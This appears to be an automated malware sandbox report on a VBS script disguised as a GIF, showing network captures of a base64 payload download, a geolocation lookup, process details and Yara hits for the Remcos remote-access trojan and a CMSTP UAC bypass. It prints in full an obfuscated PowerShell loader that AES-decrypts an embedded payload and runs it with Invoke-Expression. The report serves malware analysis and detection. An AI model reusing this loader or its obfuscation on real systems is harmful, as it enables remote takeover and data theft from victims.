Jul 27, 2024 13:32:09.658693075 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:32:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 01:22:35 GMT ETag: "a1000-61e1c58a4d3b3" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 27, 2024 13:32:09.658760071 CEST	224	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1
Jul 27, 2024 13:32:09.658770084 CEST	1236	IN	Data Raw: 41 55 4e 38 55 44 4f 31 67 53 4e 6b 55 44 46 30 77 50 4e 30 54 44 38 30 77 4f 4e 6f 54 44 32 30 51 4e 4e 45 54 44 72 30 51 4b 4e 67 53 44 6e 30 77 49 4e 49 53 44 65 30 41 47 4e 59 52 44 56 30 51 45 4e 41 52 44 4d 30 67 42 4e 51 51 44 44 7a 77 2f Data Ascii: AUN8UDO1gSNkUDF0wPN0TD80wONoTD20QNNETDr0QKNgSDn0wINISDe0AGNYRDV0QENARDM0gBNQQDDzw/M4PD4zw9MYPD1zA8M4ODtAAQAgBgBQDQOYkDFAAAAMAgBADAAA0D4AAAAMAgBwCAOgjD24QIOAiDf4gEOogDB3w+NofD23A8NIeDe3w1NYdDO3QzNwcDLAAAAwAgBQCgNwYDL1AbNsWDq1QaNgWDn1gZNMWDi1QYN
Jul 27, 2024 13:32:09.658787966 CEST	1236	IN	Data Raw: 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 2f 34 51 50 4f 73 6a 44 35 34 77 4e 4f 55 6a 44 7a 34 51 4d 4f 38 69 44 Data Ascii: mDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4NEeDf3Q3NsdDZ3w1NUdDT3Q0N8cDN3wyNkcDH3QxNMcDB2wvN0bD72QuNcbD1
Jul 27, 2024 13:32:09.658798933 CEST	1236	IN	Data Raw: 77 6d 4f 6f 70 44 5a 36 41 6d 4f 63 70 44 57 36 51 6c 4f 51 70 44 54 36 67 6b 4f 45 70 44 51 36 77 6a 4f 34 6f 44 4e 36 41 6a 4f 73 6f 44 4b 36 51 69 4f 67 6f 44 48 36 67 68 4f 55 6f 44 45 36 77 67 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 Data Ascii: wmOopDZ6AmOcpDW6QlOQpDT6gkOEpDQ6wjO4oDN6AjOsoDK6QiOgoDH6ghOUoDE6wgOIoDB6AQO8nD+5QfOwnD75geOknD45wdOYnD15AdOMnDy5QcOAnDv5gbO0mDs5waOomDp5AaOcmDm5QZOQmDj5gYOEmDg5wXO4lDd5AXOslDa5QWOglDT5gUOElDQ4QFOQhDT4gEAAAA4AUAwAAAA1AcN4WDs1gaNgWDm1AZNIWDg1gXN
Jul 27, 2024 13:32:09.658807993 CEST	1236	IN	Data Raw: 6e 44 37 35 51 65 4f 63 6e 44 31 35 77 63 4f 45 6e 44 76 35 51 62 4f 73 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 Data Ascii: nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4MwODrzg6MkODozw5MYODlzA5MMODizQ4MAODf
Jul 27, 2024 13:32:09.658813953 CEST	1236	IN	Data Raw: 41 6a 50 70 37 54 79 2b 30 72 50 78 36 54 6e 2b 45 70 50 76 34 7a 4a 2b 6b 67 50 42 30 54 2b 39 45 66 50 70 33 6a 6d 39 34 33 4f 78 76 7a 35 37 30 37 4f 77 75 6a 54 37 30 7a 4f 33 73 6a 4d 37 77 79 4f 4f 73 54 42 36 77 76 4f 6e 72 7a 59 36 6f 6b Data Ascii: AjPp7Ty+0rPx6Tn+EpPv4zJ+kgPB0T+9EfPp3jm943Oxvz5707OwujT70zO3sjM7wyOOsTB6wvOnrzY6okOCkD85MeOYnDt5QYO3lTX4IPOyezv38jNjZjHzA2MaFjOwEPMNDjuw4KMiCjlwEFM5AjDAAAAICQBgBwPv/D3/A9PE/zn/Q3Py8TK/MyPY8TD+MvPN7zs+EoPZ5TK+ERPu2jk9cTPs0jD9QAPxzj56QtOFhDy20nN
Jul 27, 2024 13:32:09.658823013 CEST	1236	IN	Data Raw: 71 44 6b 36 63 6f 4f 78 70 7a 57 36 41 69 4f 56 6f 44 44 35 73 64 4f 54 6e 6a 52 35 55 54 4f 6c 6b 54 48 35 77 41 4f 38 66 7a 2b 33 59 36 4e 57 65 54 65 33 55 67 4e 51 56 54 36 31 45 57 4e 55 55 54 43 30 55 50 4e 59 54 54 6f 30 38 46 4e 75 4d 6a Data Ascii: qDk6coOxpzW6AiOVoDD5sdOTnjR5UTOlkTH5wAO8fz+3Y6NWeTe3UgNQVT61EWNUUTC0UPNYTTo08FNuMjMzMyMXMzByouMiLDuyEmMVJTSyUjMpEzxx8bMhGTmxEZMJGTPw4NMWCjewwDMyADEAAAA4CABQDAAA8D//89Pw+Tm/o2PV9TB+EePY3Dt9oAPAzzo8AHPYtzz7c7OruTd7I2OksTF6YtOxpzF6wQO/nD354bOBgDu
Jul 27, 2024 13:32:09.658833981 CEST	1236	IN	Data Raw: 73 30 4d 70 4d 7a 48 7a 49 78 4d 4a 49 7a 37 79 34 74 4d 70 4b 44 6f 79 38 6f 4d 44 4b 44 61 79 63 6c 4d 69 49 7a 47 78 34 65 4d 6e 48 6a 4c 77 49 4c 4d 65 43 41 41 42 51 4a 41 45 41 49 41 2f 49 36 50 58 39 7a 4a 2b 59 76 50 6d 79 7a 38 37 73 4d Data Ascii: s0MpMzHzIxMJIz7y4tMpKDoy8oMDKDayclMiIzGx4eMnHjLwILMeCAABQJAEAIA/I6PX9zJ+YvPmyz87sMOJcTp1oHNzQzL0sCNnQzI08BNbQzFyEmMEET1xoGM3ATBAAAA4AABwBAAA4ze+AXPO2DZ9oTPNwz+8c4OLvzc7k0OjoT/6g7Nsejm3QZMkHj3xsWMlFzBwgNMODDxAAAA8AABgBAAA4zX98FPYyjf8sGPRxjP8QyO
Jul 27, 2024 13:32:09.658844948 CEST	1236	IN	Data Raw: 50 44 36 7a 51 2b 4d 67 50 7a 56 79 41 75 4d 63 4c 44 32 79 51 74 4d 51 4c 44 7a 79 67 73 4d 45 4c 7a 4c 78 67 62 4d 30 47 44 73 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 7a 45 41 41 41 41 6b 42 77 41 51 44 77 50 2f 39 54 62 2f 73 30 50 32 38 6a Data Ascii: PD6zQ+MgPzVyAuMcLD2yQtMQLDzygsMELzLxgbM0GDsxwaMoGDpxAaMcGzEAAAAkBwAQDwP/9Tb/s0P28jF/QQPn3jK2gHN8PDgyYtMFKDfygmMMITAxMfMlHD2xIcMtGjixMXMeFjTxAUM0EDKxoRMLAT8AAAAIBwAADwPV7zW9sdPG1zP8ANPFzDq8gHPmxzM8YCPcsjLAAAAkAwAwCAAAkjM5gCOejD14EKOUej5349NVfDm
Jul 27, 2024 13:32:09.664772987 CEST	1236	IN	Data Raw: 63 44 50 77 77 6a 4b 38 51 43 50 54 73 6a 39 37 45 2b 4f 62 76 7a 30 37 34 37 4f 78 75 54 70 37 63 35 4f 79 6c 44 41 34 6b 50 4f 74 6a 54 31 34 30 46 4f 52 64 44 72 33 59 36 4e 4e 64 6a 51 32 51 76 4e 6c 62 7a 33 32 63 74 4e 37 5a 7a 55 31 34 63 Data Ascii: cDPwwjK8QCPTsj97E+Obvz0747OxuTp7c5OylDA4kPOtjT140FORdDr3Y6NNdjQ2QvNlbz32ctN7ZzU14cNhWDn1cYNyVjV1AUN4UzL14BN/RDY0sEN+QjL0kxMGPDuz84M8NzYzg0M4MDMzchMtLT3yUtM9KTny0nMhJjQyciMKEz6x4cMJHjtxwaMiGDnxcZMMGDhxwXM0FTbxYWMfFDWxEVMKFzQx0TM3ETMxsSMlAj8wkOM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	178.237.33.50	80	6048	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:32:12.626852989 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 27, 2024 13:32:13.238667011 CEST	1170	IN	HTTP/1.1 200 OK date: Sat, 27 Jul 2024 11:32:13 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 30 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"0ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	07:32:03
Start date:	27/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createactiveimagesbeautygirlfrnd.gIF.vbs"
Imagebase:	0x7ff6161c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:32:04
Start date:	27/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:32:04
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	07:32:09
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xae0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false